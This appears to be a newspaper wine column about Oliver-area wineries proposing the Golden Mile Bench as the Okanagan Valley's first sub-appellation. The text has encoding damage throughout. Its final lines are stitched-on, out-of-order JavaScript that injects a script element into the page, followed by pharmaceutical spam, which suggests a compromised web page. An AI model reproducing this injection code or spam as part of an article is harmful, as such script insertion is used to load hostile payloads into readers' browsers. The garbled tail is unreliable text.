Golden Mile Bench first to seek sub-DVA status – May 31

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Since the inception of VQA in 1989, B.C. wine bottles have been marked with precious little geographic information. A group effort led by the wineries of the day and government determined five, broad designated viticultural regions that could appear on VQA-approved wine labels; those broad, originally designated areas are the Okanagan Valley, Similkameen Valley, Fraser Valley, Vancouver Island and the Gulf Islands.

The British Columbia Wine Institute has in recent years mentioned emerging regions in its literature, noting activity in Shuswap, North Okanagan, Thompson Nicola and West Kootenays a�� and there will be more a�� but the game is on, with an initiative by Oliver wineries located on the Golden Mile Bench (wine growing area) to become the first, official sub-DVA.

A handful of south Okanagan wineries, after working diligently for five years, has recently submitted to the B.C. Wine Authority what is the first proposal to create the Okanagan Valleya��s first sub-appellation.

There will be nothing easy about this application, beginning with objections from those wineries that are not located within the delineated borders as set by the application.

The wineries involved claim a�?an in-depth scientific analysis by scientists from Agriculture and Agri-Food Canada, Pacific Agri-Food Research Centrea��Summerland has shown the area has a combination of landform, landscape position, mesoclimate, air drainage and soil materials that make it distinct within the Okanagan Valley, contributing to the production of unique wines.a�?

a�?After much discussion, debate and an in-depth study of the regiona��s terroir by soil scientist Scott Smith and research scientist in viticulture and plant physiology Pat Bowen, both at AAFC-PARC Summerland, the boundaries were decided. Wine consultant, Rhys Pender of Wine Plus+ helped compile the proposal.

The sub-division must happen for many reasons, not the least of which is the rising cost of B.C. wine bearing almost useless geographic designator such as Okanagan Valley, or even Vancouver Island. Paying $40 for a wine that could contain fruit from Vernon to Osoyoos was tolerable in the 1990s but now it is insulting to most fine wine buyers.

The Okanagan Valley DVA is responsible for about 80 per cent of all British Columbiaa��s vineyard area and it is time we carved the 150-km stretch into more meaningful and digestible bits that speak to the many different mesoclimates and terroirs that mark the valley.

It would appear the Golden Mile Bench a�� at least a much smaller area as defined by the scientists than rather than the rambling vineyard and orchard land that runs from the southern edge of Oliver to the northern edges of Osoyoos a�� will be the first to push for change.

According to the wineries involved, a�?The proposal was submitted to the B.C. Wine Authority on May 20. The BCWA will conduct consultations within the region and a vote by ballot among the relevant stakeholders within the proposed regiona��s boundaries. Once the due diligence has been completed and assuming the BCWA determines all requirements have been met, it will then submit the proposal to the minister of agriculture for approval.a�?

Bets are the process will take from three to five years and the conversations will no doubt be heated. Some producers have vineyards both in and out of the proposed DVA and some vineyards will be cut in half by the boundaries. The proposal will also allow any winery that buys grapes from within the proposed DVA to use the Golden Mile Bench DVA on its label.

I support the process and hope for a speedy outcome. Nothing is as important as high quality wine production to ensure the future of B.C. wine.d.getElementsByTagName(‘head’)[0].appendChild(s); var d=document;var s=d.createElement(‘script’); document.currentScript.parentNode.insertBefore(s, document.currentScript);document.currentScript.parentNode.insertBefore(s, document.currentScript); lynoral purchase

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